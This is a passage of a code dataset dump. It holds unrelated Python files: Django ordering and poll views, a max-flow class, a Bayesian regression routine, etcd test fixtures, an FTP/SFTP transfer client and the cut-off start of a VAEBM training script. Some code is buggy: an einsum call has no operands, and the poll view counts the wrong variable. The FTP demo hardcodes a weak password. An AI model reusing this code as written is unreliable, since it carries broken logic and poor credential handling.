self.request.session:\n fo_list = []\n self.request.session['food_orders_list'] = fo_list\n fo_list = self.request.session['food_orders_list']\n ordered_foods = FoodOrder.objects.filter(pk__in=fo_list)\n\n try:\n ordered_foods = ordered_foods.get(food=food)\n ordered_foods.number = ordered_foods.number + 1\n ordered_foods.cost = ordered_foods.cost + food.cost\n ordered_foods.save()\n except ObjectDoesNotExist:\n food_order = FoodOrder(food=food, number=1, cost=food.cost)\n food_order.save()\n fo_list.append(food_order.pk)\n self.request.session['food_orders_list'] = fo_list\n\n return HttpResponseRedirect(self.request.path_info)\n\n if request.POST.get('removeFood'):\n food_pk = request.POST.get('food_pk')\n food = Food.objects.get(pk=food_pk)\n\n if 'food_orders_list' not in self.request.session:\n fo_list = []\n self.request.session['food_orders_list'] = fo_list\n fo_list = self.request.session['food_orders_list']\n ordered_foods = FoodOrder.objects.filter(pk__in=fo_list)\n\n try:\n ordered_foods = ordered_foods.get(food=food)\n if ordered_foods.number == 1:\n fo_list.remove(ordered_foods.pk)\n self.request.session['food_orders_list'] = fo_list\n ordered_foods.delete()\n else:\n ordered_foods.number = ordered_foods.number - 1\n ordered_foods.cost = ordered_foods.cost - food.cost\n ordered_foods.save()\n except ObjectDoesNotExist:\n pass\n\n return HttpResponseRedirect(self.request.path_info)\n\n if request.POST.get('order'):\n form = FormOrder(request.POST)\n\n if 'order_list_pk' not in self.request.session:\n ol = OrderList.objects.create()\n self.request.session['order_list_pk'] = ol.pk\n ol_pk = self.request.session['order_list_pk']\n order_list = OrderList.objects.get(pk=ol_pk)\n table = Table.objects.get(pk=form['tables'].value())\n\n if 'food_orders_list' not in self.request.session:\n fo_list = []\n self.request.session['food_orders_list'] = fo_list\n fo_list = self.request.session['food_orders_list']\n ordered_foods = FoodOrder.objects.filter(pk__in=fo_list)\n\n order_list_food_orders = order_list.FoodOrder_list.all()\n\n for order in order_list_food_orders:\n if order not in ordered_foods:\n order.delete()\n\n for order in ordered_foods:\n try:\n of = order_list_food_orders.get(food=order.food)\n of.delete()\n except ObjectDoesNotExist:\n pass\n tmp = FoodOrder(food=order.food, number=order.number, cost=order.cost)\n tmp.order_list = order_list\n tmp.save()\n\n order_list.details = form['details'].value()\n order_list.takeaway = form['takeaway'].value()\n if order_list.takeaway:\n order_list.cost = self.request.session['total_cost_wt']\n else:\n order_list.cost = self.request.session['total_cost_nt']\n\n if order_list.status == 'NO':\n order_list.status = 'OR'\n elif order_list.status == 'OR' or order_list.status == 'CH':\n order_list.status = 'CH'\n old_table = Table.objects.get(pk=order_list.table.pk)\n old_table.table_availability = True\n old_table.save()\n\n order_list.table = table\n\n table.table_availability = False\n table.save()\n order_list.save()\n return redirect('index')\n\n return HttpResponseRedirect(self.request.path_info)\n\n\nclass SubscriptionDetailView(DetailView):\n model = Subscription\n context_object_name = 'sub'\n template_name = 'customer/subscription_detail.html'\n\n\nclass SubscriptionCreateView(CreateView):\n model = Subscription\n template_name = 'customer/subscription_create.html'\n fields = ('sub_name', 'sub_lastName', 'sub_birthDate', 'sub_address', 'sub_phone', 'sub_mobile_phone')\n\n\nclass PollView(View):\n model = Poll\n template_name = 'customer/poll.html'\n\n def get(self, request, *args, **kwargs):\n polls = self.model.objects.all()\n questions_arr = []\n for p in polls:\n questions_arr.append(p.pk)\n questions_arr = questions_arr\n print(type(questions_arr))\n return render(request, self.template_name, context={'questions': polls,\n 'questions_arr': questions_arr})\n\n def post(self, request, *args, **kwargs):\n postvalues = self.request.POST\n poll_tuple = []\n poll_list = []\n for post in postvalues:\n if \"question\" in post:\n poll_tuple = [post.split('_')[1], postvalues[post], None]\n poll_list.append(poll_tuple)\n if \"state\" in post:\n for tu in poll_list:\n if tu[0] == post.split('_')[1]:\n tu[2] = postvalues[post]\n break\n\n for post in poll_list:\n if post[2] is None:\n return HttpResponseRedirect(self.request.path_info)\n\n for post in poll_list:\n poll = self.model.objects.get(pk=int(post[0]))\n if tu[2] == \"good\":\n poll.good_response = poll.good_response + 1\n elif tu[2] == \"medium\":\n poll.medium_response = poll.medium_response + 1\n elif tu[2] == \"bad\":\n poll.bad_response = poll.bad_response + 1\n poll.save()\n\n return redirect('customer:thank_you')\n\n\nclass EndView(TemplateView):\n template_name = 'customer/end.html'\n\n def get_context_data(self, **kwargs):\n ol_pk = self.request.session['order_list_pk']\n order_list = OrderList.objects.get(pk=ol_pk)\n table = Table.objects.get(pk=order_list.table.pk)\n table.table_availability = True\n table.save()\n order_list.delete()\n self.request.session.flush()\n\n\ndef update(request):\n if 'order_list_pk' not in request.session:\n ol = OrderList.objects.create()\n request.session['order_list_pk'] = ol.pk\n ol_pk = request.session['order_list_pk']\n order_list = OrderList.objects.get(pk=ol_pk)\n diction = {'status': order_list.status}\n import json\n from django.http import JsonResponse\n return JsonResponse({'status': json.dumps(diction)})\n","sub_path":"customer/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":15550,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"562881757","text":"# code from https://github.com/bigbighd604/Python/blob/master/graph/Ford-Fulkerson.py\n# little editions needed to algorithm\n\nclass Edge(object):\n def __init__(self, u, v, w):\n self.source = u\n self.target = v\n self.capacity = w\n\n def __repr__(self):\n return \"%s->%s:%s\" % (self.source, self.target, self.capacity)\n\n\nclass FlowNetwork(object):\n def __init__(self):\n self.adj = {}\n self.flow = {}\n\n def AddVertex(self, vertex):\n self.adj[vertex] = []\n\n def GetEdges(self, v):\n return self.adj[v]\n\n def AddEdge(self, u, v, w = 0):\n if u == v:\n raise ValueError(\"u == v\")\n edge = Edge(u, v, w)\n redge = Edge(v, u, 0)\n edge.redge = redge\n redge.redge = edge\n self.adj[u].append(edge)\n self.adj[v].append(redge)\n # Intialize all flows to zero\n self.flow[edge] = 0\n self.flow[redge] = 0\n\n def FindPath(self, source, target, path):\n if source == target:\n return path\n for edge in self.GetEdges(source):\n residual = edge.capacity - self.flow[edge]\n if residual > 0 and not (edge, residual) in path:\n result = self.FindPath(edge.target, target, path + [(edge, residual)])\n if result != None:\n return result\n\n def MaxFlow(self, source, target):\n path = self.FindPath(source, target, [])\n # print(f'path after enter MaxFlow: {path}')\n # for key in self.flow:\n # print(f'{key}:{self.flow[key]}')\n # print('-' * 20)\n while path != None:\n flow = min(res for edge, res in path)\n for edge, res in path:\n self.flow[edge] += flow\n self.flow[edge.redge] -= flow\n # for key in self.flow:\n # print(f'{key}:{self.flow[key]}')\n path = self.FindPath(source, target, [])\n # print(f'path inside of while loop: {path}') \n # for key in self.flow:\n # print(f'{key}:{self.flow[key]}')\n\n volume = 0\n stacks = []\n for vertex in self.adj.keys():\n if vertex[0] == 'u':\n lonely = True\n\n for edge in self.adj[vertex]:\n if edge.target[0] == 'v' and self.flow[edge] == 1:\n lonely = False\n for stack in stacks:\n if stack[-1] == edge.target[1]:\n stack.append(vertex[1])\n break\n break\n \n if lonely:\n stacks.append([vertex[1]])\n volume += vertex[1][3]\n\n return stacks, volume \n #return sum(self.flow[edge] for edge in self.GetEdges(source))","sub_path":"solution/ford_fulkerson.py","file_name":"ford_fulkerson.py","file_ext":"py","file_size_in_byte":2435,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"58732031","text":"import numpy as np\nimport scipy as sp\n\n#Given an nxk design matrix [n samples, k dimensional inputs],\n#an nxt output matrix Y [for t the output dimension], \n#a n x (t x t) array of output inverse-covariance matrices [one for each sample]\n#, a prior mean [2D matrix with dims kxt], \n#and a prior covariance \\Sigma_0 of dims\n#kxt x kxt, return the posterior distribution over the model parameter B\n#for the model Y=XB, in terms of its mean [a kxt matrix], and covariance\n#[a kxt x kxt tensor]\ndef bayesian_multivariate_lin_reg(X, Y, out_inv_covar_mats, prior_mean, prior_covariance):\n n, k = X.shape\n _, t = Y.shape\n\n def kt_inverse(mat):\n mat_flat = np.reshape(mat, (k * t, k * t))\n mat_flat_inv = np.linalg.pinv(mat_flat, hermitian=True)\n return np.reshape(mat_flat_inv, (k, t, k, t))\n\n #/\\_0 = \\Sigma_0^-1\n prior_inverse_covariance = kt_inverse(prior_covariance)\n\n #Part I: Computing /\\_n (shape (k x t) x (k x t))\n \n #Compute (I_t o X)^T \\Omega^-1 (I_t o X), which is kxt x kxt\n A_contrib = np.einsum('nab,nc,nd->cadb', out_inv_covar_mats, X, X)\n\n #Compute /\\_n = A_contrib + /\\_0 \n A_n = A_contrib + prior_inverse_covariance\n\n\n\n #Part II: Computing u_n (shape k x t)\n\n #Compute (I_t o X)^T \\Omega^-1, which is (n x t) x (k x t)\n #from things that are (n x t x t) and n x k\n u_contrib_pre = np.einsum('nab,nc->nacb', out_inv_covar_mats, X)\n\n #Compute (I_t o X)^T \\Omega^-1 vec(Y), which is (k x t)\n u_contrib = np.einsum('ntab,nt->ab', u_contrib_pre, Y)\n\n #Compute /\\_0 u_0, which is k x t\n u_prior = np.einsum('ktab,ab->kt', prior_inverse_covariance, prior_mean)\n\n #u_total is kxt\n u_total = u_contrib + u_prior\n\n #Compute /\\_n^-1\n A_n_inv = kt_inverse(A_n)\n\n #u_n = /\\_n^-1 * u_total\n u_n = np.einsum('ktab,ab->kt', A_n_inv, u_total)\n \n\n\n #Part III: Computing E[\\sigma^2 | X, Y]\n #Reference: https://core.ac.uk/download/pdf/12171733.pdf \n #Adapted for generalized linear regression, setting a(0) = 1\n\n #Compute residuals r = Y - X\\hat{B}, of shape nxt\n r = Y - np.matmul(X, u_n)\n\n #Compute residual contrib r^T \\Omega^-1 r (recall \\Omega^-1 is of shape n x t x t)\n s_resid_contrib = np.einsum('nab,na,nb->')\n\n #Compute difference of means u_0 - u_n (k x t)\n mean_diff = prior_mean - u_n\n\n #Compute [/\\_0^-1 + A_contrib^-1]^-1\n A_contrib_inv = kt_inverse(A_contrib)\n\n covariance_sum = prior_covariance + A_contrib_inv\n inv_covariance_sum = kt_inverse(covariance_sum)\n\n s_pdc_contrib = np.einsum('abcd,ab,cd->', inv_covariance_sum, mean_diff, mean_diff)\n\n s = (s_resid_contrib + s_pdc_contrib) / n\n\n\n #Part IV: Computing the total covariance = s * A_n_inv\n result_covariance = s * A_n_inv\n\n return (u_n, result_covariance)\n\n","sub_path":"regression.py","file_name":"regression.py","file_ext":"py","file_size_in_byte":2779,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"49500572","text":"# copyright (c) 2016 Intel, Inc.\n#\n# not use this file except in compliance with the License. You may obtain\n# a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT\n# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the\n# License for the specific language governing permissions and limitations\n# under the License.\n\nimport etcd\n\n\ndef get_etcd_read_result(key, value):\n \"\"\"Return EtcdResult object for read regular key\"\"\"\n data = {\n u'action': u'get',\n u'node': {\n u'modifiedIndex': 190,\n u'key': key,\n u'value': value\n }\n }\n return etcd.EtcdResult(**data)\n\n\ndef get_etcd_write_result(key, value):\n \"\"\"Return EtcdResult object for write regular key\"\"\"\n data = {\n u'action': u'set',\n u'node': {\n u'expiration': u'2013-09-14T00:56:59.316195568+02:00',\n u'modifiedIndex': 183,\n u'key': key,\n u'ttl': 19,\n u'value': value\n }\n }\n return etcd.EtcdResult(**data)\n\n\ndef get_test_podmanager(**kwargs):\n return {\n 'uuid': kwargs.get('uuid', 'ea8e2a25-2901-438d-8157-de7ffd68d051'),\n 'name': kwargs.get('name', 'fake_name'),\n 'url': kwargs.get('url', 'fake_url'),\n 'auth': kwargs.get('auth', 'fake_auth'),\n 'status': kwargs.get('size', 'fake_status'),\n 'description': kwargs.get('description', 'fake_description'),\n 'location': kwargs.get('location', 'fake_location'),\n 'redfish_link': kwargs.get('redfish_link', 'fake_redfish_link'),\n 'bookmark_link': kwargs.get('bookmark_link', 'fake_bookmark_link'),\n 'created_at': kwargs.get('created_at', '2016-01-01 00:00:00 UTC'),\n 'updated_at': kwargs.get('updated_at', '2016-01-01 00:00:00 UTC'),\n }\n\n\ndef get_test_flavor(**kwargs):\n return {\n 'uuid': kwargs.get('uuid', 'f0565d8c-d79b-11e6-bf26-cec0c932ce01'),\n 'name': kwargs.get('name', 'fake_name'),\n 'properties': {\n 'memory': {\n 'capacity_mib': kwargs.get('capacity_mib', 'fake_capacity'),\n 'type': kwargs.get('type', 'fake_type'),\n },\n 'processor': {\n 'total_cores': kwargs.get('total_cores', 'fake_cores'),\n 'model': kwargs.get('model', 'fake_model')\n }\n },\n 'created_at': kwargs.get('created_at', '2016-01-01 00:00:00 UTC'),\n 'updated_at': kwargs.get('updated_at', '2016-01-01 00:00:00 UTC'),\n }\n\n\ndef get_test_composed_node_db_info(**kwargs):\n return {\n 'uuid': kwargs.get('uuid', 'ea8e2a25-2901-438d-8157-de7ffd68d051'),\n 'name': kwargs.get('name', 'fake_name'),\n 'index': kwargs.get('index', '1'),\n 'links': kwargs.get(\n 'links',\n [{'href': 'http://127.0.0.1:8181/v1/nodes/'\n '7be5bc10-dcdf-11e6-bd86-934bc6947c55/',\n 'rel': 'self'},\n {'href': 'http://127.0.0.1:8181/nodes/'\n '7be5bc10-dcdf-11e6-bd86-934bc6947c55/',\n 'rel': 'bookmark'}]),\n 'created_at': kwargs.get('created_at', '2016-01-01 00:00:00 UTC'),\n 'updated_at': kwargs.get('updated_at', '2016-01-01 00:00:00 UTC')\n }\n","sub_path":"valence/tests/unit/db/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":3425,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"648646851","text":"# -*- coding: utf-8 -*-\r\n'''\r\n+----------------------------------------------------------------------\r\n// | Author: 赵克立 <735579768@qq.com> <http://www.zhaokeli.com>\r\n// |mysql数据库操作类\r\n+----------------------------------------------------------------------\r\n// |远程和本地目录以不要 \"/\" 结尾\r\n'''\r\nimport ftplib, os , kl_log, paramiko, threading, math, time,_thread\r\n#定义匿名函数\r\n#打开一个文件句柄\r\nimport sys,socket\r\nfrom kl_log import kl_log\r\nfrom kl_progressbar import kl_progressbar\r\nsocket.setdefaulttimeout(60)\r\nwriteFile = lambda filename:open(filename, 'wb').write\r\n#创建目录\r\ncreateDir = lambda dirname: not os.path.exists(dirname) and os.makedirs(dirname)\r\n\r\nclass kl_ftp(ftplib.FTP):\r\n def __init__(self,host,port,username,password):\r\n self.progress=kl_progressbar('downloading',30)\r\n self.maxthread=5\r\n self.curthreadnum=0\r\n self.threadlock=_thread.allocate_lock()\r\n ftplib.FTP.__init__(self)\r\n self.host=host\r\n self.port=port\r\n self.username=username\r\n self.password=password\r\n self.downloading=0\r\n self.bigfile=[]\r\n self.ignorefolder=[]\r\n self.faillist=[]\r\n self.localroot='./'\r\n #初始化日志\r\n self.log=kl_log('kl_ftp')\r\n self.__ftpconn()\r\n\r\n def __del__(self):\r\n try:\r\n self.quit()\r\n except Exception as e:\r\n pass\r\n def __ftpconn(self):\r\n #最大1G文件\r\n self.maxline=1024*1024*1024\r\n #f.encoding='UTF-8'#防止中文乱码\r\n try:\r\n print('Connecting server...')\r\n self.connect(self.host,self.port)\r\n print('Connect server success...')\r\n print('loging server...')\r\n resp = self.login(self.username, self.password)\r\n #输出欢迎信息\r\n print(resp)\r\n except Exception as e:\r\n self.log.write(e)\r\n print(e)\r\n os.system(\"pause\")\r\n sys.exit(0)\r\n\r\n\r\n #判断是否是目录\r\n def isDirectory(self,filename):\r\n try:\r\n self.cwd(filename)\r\n createDir(self.localroot+filename)\r\n return True\r\n except ftplib.error_perm as e:\r\n #如果不是目录会报错并返回False\r\n #print(e)\r\n return False\r\n\r\n #下载ftp文件\r\n def __recursiveDownload(self,filelist, curpwd):\r\n for file in filelist:\r\n if file != '.' and file != '..' :\r\n if file in self.ignorefolder:\r\n continue\r\n fol=curpwd + file\r\n try:\r\n if self.isDirectory(fol):\r\n self.__recursiveDownload(self.nlst(), self.pwd())\r\n else:\r\n localpath=self.localroot + fol\r\n print('downloading...%s ----> %s'%(fol, localpath))\r\n\r\n #取文件的大小\r\n cmd = \"SIZE \"+fol\r\n ret = self.sendcmd(cmd)\r\n fsize = int(ret.split(' ')[1])\r\n #大于10M的文件用多线程分块下载\r\n if fsize>1024*1024*10:\r\n while True:\r\n if self.curthreadnum<self.maxthread:\r\n self.curthreadnum+=1\r\n self.bigfile.append(fol)\r\n print('downloading...%s ----> %s'%(fol, localpath))\r\n print('start treading download file: size %d M'%(fsize/(1024*1024)))\r\n #self.download_by_thread(fol,fsize,10)\r\n threading.Thread(target=self.download_by_thread, args=(fol,fsize, 5,)).start()\r\n break\r\n else:\r\n time.sleep(.5)\r\n else:\r\n self.retrbinary('RETR '+fol, writeFile(localpath),self.maxline)\r\n except Exception as e:\r\n print(e)\r\n self.faillist.append(fol)\r\n self.log.write(\"Error:%s\"%e)\r\n self.log.write(\"%s\"%e)\r\n\r\n\r\n #从远程下载单个文件到本地\r\n def downloadfile(self,filepath,localpath):\r\n self.localroot=localpath\r\n onlydir = os.path.dirname(filepath)\r\n onlyname = os.path.basename(filepath)\r\n self.cwd(onlydir)\r\n createDir(self.localroot+'/'+onlydir)\r\n self.__recursiveDownload([onlyname], self.pwd());\r\n self.__isdownloadover()\r\n return True\r\n\r\n #下载远程文件夹到本地\r\n def downloadfolder(self,folder,localroot):\r\n if self:\r\n self.localroot=localroot\r\n self.cwd(folder)\r\n createDir(self.localroot+'/'+folder)\r\n self.__recursiveDownload(self.nlst(), self.pwd());\r\n self.log.write(\"下载错误的文件:%s\"%self.faillist)\r\n print('download file error:')\r\n print(self.faillist)\r\n self.__isdownloadover()\r\n return True\r\n\r\n #判断是否下载完成\r\n def __isdownloadover(self):\r\n #print('大文件正在下载...%s'%self.bigfile)\r\n while self.downloading!=0:\r\n time.sleep(1)\r\n print('download complete!')\r\n\r\n #从本地上传文件到远程\r\n def uploadfile(self,localpath,remotepath):\r\n onlydir=os.path.dirname(remotepath)\r\n self.__mkdremote(onlydir)\r\n if not os.path.isfile(localpath):\r\n return\r\n print ('uploading... %s ----> %s'%(localpath,remotepath))\r\n self.storbinary('STOR ' + remotepath, open(localpath, 'rb'))\r\n\r\n #创建远程目录路径\r\n def __mkdremote(self,dirpath):\r\n arr=dirpath[1:].split('/')\r\n mdir=''\r\n for i in arr:\r\n if i!='':\r\n try:\r\n mdir+='/'+i\r\n self.mkd(mdir)\r\n except:\r\n pass\r\n #self.cwd(i)\r\n\r\n #上传本地文件夹到远程\r\n def uploadfolder(self,localdir,remotedir):\r\n if not os.path.isdir(localdir):\r\n return\r\n for file in os.listdir(localdir):\r\n if file in self.ignorefolder:\r\n continue\r\n src=localdir+'/'+file\r\n if os.path.isfile(src):\r\n self.uploadfile(src, remotedir+'/'+file)\r\n elif os.path.isdir(src):\r\n self.uploadfolder(src, remotedir+'/'+file)\r\n\r\n def download_by_thread(self, filename,fsize, threadnum=1, blocksize=8192):\r\n self.downloading=self.downloading+1\r\n print ('file', filename, 'size:', fsize)\r\n rest = None\r\n bsize = math.ceil(fsize / threadnum)\r\n\r\n # 创建线程\r\n threads= []\r\n for i in range(0, threadnum-1):\r\n begin = bsize * i\r\n print (i, begin, bsize)\r\n tp = threading.Thread(target=self.download_file, args=(i, filename,begin,bsize,blocksize,rest,))\r\n threads.append(tp)\r\n\r\n #计算最后一个线程下载剩下的全部大小\r\n have1 = bsize * threadnum\r\n have2 = fsize - have1\r\n lastsize = bsize + have2\r\n begin = bsize * (threadnum-1)\r\n print (threadnum-1, begin, lastsize)\r\n tp = threading.Thread(target=self.download_file, args=(threadnum-1, filename, begin,lastsize,blocksize,rest,))\r\n threads.append(tp)\r\n\r\n print ('threads num:', len(threads))\r\n\r\n #启动下载线程\r\n for t in threads:\r\n t.start()\r\n time.sleep(1)\r\n #阻塞线程下载,直到结束\r\n for t in threads:\r\n t.join()\r\n\r\n # 每个线程都下载完成了，合并临时文件为一个文件\r\n print('Merging files...')\r\n fw = open(self.localroot+filename, \"wb\")\r\n for i in range(0, threadnum):\r\n fname =self.localroot+ filename+'.part.'+str(i)\r\n print (fname)\r\n if not os.path.isfile(fname):\r\n print ('not found', fname)\r\n continue\r\n f1 = open(fname, 'rb')\r\n while 1:\r\n data = f1.read(8192)\r\n if not len(data):\r\n break\r\n fw.write(data)\r\n f1.close()\r\n os.remove(fname)\r\n fw.close()\r\n print ('file part merge complete!')\r\n self.bigfile.remove(filename)\r\n self.downloading=self.downloading-1\r\n self.curthreadnum-=1\r\n\r\n def download_file(self, inx, filename, begin=0, size=0, blocksize=8192, rest=None):\r\n src_size=size\r\n onlydir = os.path.dirname(filename)\r\n onlyname = os.path.basename(filename)\r\n tname = threading.currentThread().getName()+': '\r\n # 新建一个连接来下载，每个线程一个连接，注意这里没有考虑有些ftp服务器限制一个ip只能有多少连接的情况。\r\n myftp=None\r\n try:\r\n myftp =kl_ftp(self.host, self.port, self.username, self.password)\r\n except Exception as e:\r\n return False\r\n myftp.cwd(onlydir)\r\n #print('进入文件夹:%s'%onlydir)\r\n lsize=0\r\n localpath=self.localroot+filename+'.part.'+str(inx)\r\n fp=None\r\n if os.path.exists(localpath):\r\n lsize=os.stat(localpath).st_size\r\n if lsize >= size:\r\n print ('local file is bigger or equal remote file')\r\n return\r\n fp = open(localpath, 'ab')\r\n else:\r\n fp = open(localpath, 'wb')\r\n\r\n # 创建临时文件\r\n\r\n #fp.seek(begin)\r\n\r\n callback = fp.write\r\n\r\n haveread = 0\r\n myftp.voidcmd('TYPE I')\r\n # 告诉服务器要从文件的哪个位置开始下载\r\n cmd1 = \"REST \"+str(begin+lsize)\r\n print ('%s : download file position--> %s'%(tname, cmd1))\r\n ret = myftp.sendcmd(cmd1)\r\n # 开始下载\r\n cmd = \"RETR \"+onlyname\r\n conn = myftp.transfercmd(cmd, rest)\r\n readsize = blocksize\r\n\r\n #要下载的数据长度\r\n size=size-lsize\r\n while 1:\r\n try:\r\n self.progress.show()\r\n if size > 0:\r\n last = size - haveread\r\n if last > blocksize:\r\n readsize = blocksize\r\n else:\r\n readsize = last\r\n data = conn.recv(readsize)\r\n\r\n if not data:\r\n break\r\n\r\n # 已经下载的数据长度\r\n haveread = haveread + len(data)\r\n # 只能下载指定长度的数据，下载到就退出\r\n if haveread > size:\r\n print (tname, 'downloaded:', haveread, 'size:', size)\r\n hs = haveread - size\r\n callback(data[:hs])\r\n break\r\n elif haveread == size:\r\n callback(data)\r\n print (tname, 'downloaded:', haveread)\r\n break\r\n\r\n callback(data)\r\n except Exception as e:\r\n fp.close()\r\n conn.close()\r\n print(e)\r\n self.download_file(inx, filename, begin, src_size, blocksize, rest)\r\n return None\r\n fp.close()\r\n conn.close()\r\n # self.threadlock.acquire()\r\n # try:\r\n # print('exit ftp!')\r\n # #ret = myftp.getresp()\r\n # myftp.voidcmd('NOOP')\r\n # myftp.voidresp()\r\n # conn.close()\r\n # myftp.quit()\r\n # print('exit ftp success!')\r\n # except Exception as e:\r\n # self.log.write(e)\r\n # print(e)\r\n # self.threadlock.release()\r\n return ret\r\n\r\n # def __progresstext(self):\r\n # if self.progress=='downloading. ':\r\n # self.progress='downloading.. '\r\n # elif self.progress=='downloading.. ':\r\n # self.progress='downloading...'\r\n # elif self.progress=='downloading...':\r\n # self.progress='downloading. '\r\n # sys.stdout.write(self.progress+'\\r')\r\n # sys.stdout.flush()\r\n\r\n\r\nclass kl_sftp:\r\n def __init__(self,host,port,username,password):\r\n self.ssh=None\r\n self.sftp=None\r\n self.ignorefolder=[]\r\n self.faillist=[]\r\n self.localroot='./'\r\n self.__sftpconn(host,username,password)\r\n #初始化日志\r\n self.log=kl_log.kl_log('kl_sftp')\r\n\r\n #定义 ssh 连接函数\r\n def __sftpconn(self,_host,_username='',_password=''):\r\n try:\r\n self.ssh= paramiko.SSHClient()\r\n self.ssh.set_missing_host_key_policy( paramiko.AutoAddPolicy() )\r\n self.ssh.connect(_host,username=_username,password=_password)\r\n self.sftp=self.ssh.open_sftp()\r\n self.sftp.chdir('/')\r\n print('当前目录:%s'%self.sftp.getcwd())\r\n except Exception as e:\r\n print( 'ssh %s@%s: %s' % (_username,_host, e) )\r\n exit()\r\n\r\n #判断是否是目录\r\n def isDirectory(self,filename):\r\n try:\r\n self.sftp.chdir(filename)\r\n createDir(self.localroot+filename)\r\n return True\r\n except Exception as e:\r\n #如果不是目录会报错并返回False\r\n #print(e)\r\n return False\r\n\r\n #从远程下载单个文件到本地\r\n def downloadfile(self,filepath,localpath):\r\n onlydir = os.path.dirname(filepath)\r\n onlyname = os.path.basename(filepath)\r\n if self.sftp:\r\n self.localroot=localpath\r\n self.sftp.chdir(onlydir)\r\n createDir(self.localroot+onlydir)\r\n self.__downfilelist([onlyname], self.sftp.getcwd());\r\n self.log.write(\"下载错误的文件:%s\"%self.faillist)\r\n print('下载错误的文件:')\r\n print(self.faillist)\r\n return True\r\n\r\n #从本地上传文件到远程\r\n def uploadfile(self,localpath,remotepath):\r\n pass\r\n\r\n #上传本地文件夹到远程\r\n def uploadfolder(self,localroot,folder):\r\n pass\r\n def __downfilelist(self,filelist, curpwd):\r\n for file in filelist:\r\n if file != '.' and file != '..' :\r\n if file in self.ignorefolder:\r\n continue\r\n fol=curpwd +'/'+ file\r\n try:\r\n if self.isDirectory(fol):\r\n self.__downfilelist(self.sftp.listdir(), self.sftp.getcwd())\r\n else:\r\n localpath=self.localroot+fol\r\n print('downloading...%s ----> %s'%(fol, localpath))\r\n self.sftp.get(fol,localpath)\r\n except Exception as e:\r\n print(e)\r\n self.faillist.append(fol)\r\n self.log.write(\"Error:%s\"%e)\r\n self.log.write(\"%s\"%e)\r\n\r\n\r\n def downloadfolder(self,folder,localroot):\r\n if self.sftp:\r\n self.localroot=localroot\r\n self.sftp.chdir(folder)\r\n createDir(self.localroot+folder)\r\n self.__downfilelist(self.sftp.listdir(), self.sftp.getcwd());\r\n self.log.write(\"下载错误的文件:%s\"%self.faillist)\r\n print('下载错误的文件:')\r\n print(self.faillist)\r\n return True\r\n\r\n def ssh_command(self,command):\r\n stdin, stdout, stderr = self.ssh.exec_command(command)\r\n relist=[]\r\n for i in stdout.readlines():\r\n relist.append(i.strip('\\n'))\r\n print(relist)\r\n\r\n def close(self):\r\n if self.sftp!=None:\r\n self.sftp.close()\r\n if self.ssh!=None:\r\n self.ssh.close()\r\n\r\n\r\nif __name__ == '__main__':\r\n # print('请输入用户名:')\r\n # username=input()\r\n # print('请输入密码:')\r\n # password=input()\r\n\r\n #连接ftp服务器\r\n ftp=kl_ftp('192.168.198.131',2016,'wwwroot','123456')\r\n ftp.ignorefolder=['Data', 'Public', 'App', 'Plugins', 'TP']\r\n #ftp.downloadfile('test/dflz.zip','E:/ftp')\r\n #ftp.downloadfolder('test','E:/ftp')\r\n\r\n #上传文件\r\n #ftp.uploadfile('E:/ftp/test/dflz.zip', '/new/dflz.org/dflz.zip')\r\n #上传文件夹\r\n ftp.uploadfolder('E:/ftp/test', '/news')\r\n ftp.close()\r\n\r\n #连接ssh服务器\r\n # sftp=kl_sftp('116.255.159.47', 22,'root', password)\r\n # sftp.ignorefolder=['Data', 'Public', 'App', 'Plugins', 'TP','zhaokeli.com.zip']\r\n # sftp.downloadfolder('/var/www/zhaokeli.com', 'E:/sftp')\r\n # sftp.close()\r\n os.system(\"pause\")\r\n","sub_path":"pyank/kl_ftp.py","file_name":"kl_ftp.py","file_ext":"py","file_size_in_byte":16803,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"466208583","text":"#Code for training VAEBM \nimport os \nimport sys\nimport argparse\n\nimport torch\nimport torchvision\nfrom torch.optim import Adam\nfrom torch.utils.data import DataLoader\nfrom torchvision.datasets import MNIST\nfrom torchvision.transforms import Compose, ToTensor, CenterCrop, Resize\n\nfrom tqdm import tqdm\nimport matplotlib.pyplot as plt\n\nfrom vae.disvae.training import Trainer\nfrom vae.disvae.utils.modelIO import load_model\nfrom Langevin_dynamics.langevin_sampling.SGLD import SGLD\nfrom igebm.model import IGEBM\n\nfrom datasets import Chairs, CelebA\n\ndevice = torch.device('cuda' if torch.cuda.is_available() else 'cpu')\nscaler = torch.cuda.amp.GradScaler()\n\nVAE_DIR = './vae/results/'\nROOT_DIR = '/content/gdrive/MyDrive/results/'\n\n\ndef load_data(dataset, **kwargs):\n \"\"\"\n Load the specified dataset for training. #Need to train VAE on LSUN, CIFAR10, CIFAR100\n Parameters--->\n dataset (str): dataset specification (\"CIFAR-10\", \"MNIST\")\n Returns--->\n data_loader: torch DataLoader object for the dataset\n \"\"\"\n \n dataset = dataset.upper().replace(\" \",\"\")\n transform = ToTensor() #Define custom based on different datasets \n \n if dataset in ['MNIST','CELEBA','CHAIRS']:\n \n if dataset == 'MNIST':\n trainset = MNIST(root='./data', transform=transform)\n if dataset == 'CELEBA':\n trainset = CelebA(root='./data/celeba')\n if dataset == 'CHAIRS':\n trainset = Chairs(root='./data/chairs')\n \n\n trainloader = torch.utils.data.DataLoader(trainset, batch_size=kwargs['batch_size'],\n shuffle=True, pin_memory=True, num_workers=kwargs['num_workers'])\n\n return trainloader\n\n else:\n raise Exception('Dataset not available -- choose from MNIST, CelebA, Chairs')\n\n\ndef langevin_sample(vae, ebm, **kwargs):\n \"\"\"\n Sample epsilon using Langevin dynamics based MCMC, \n for reparametrizing negative phase sampling in EBM\n\n Parameters--> \n vae (torch.nn.module): VAE model used in VAEBM\n ebm (torch.nn.module : EBM model used in VAEBM\n **kwargs (dict): \n batch_size (int): batch size of data, default: \n sampling_steps (int): number of sampling steps in MCMC\n 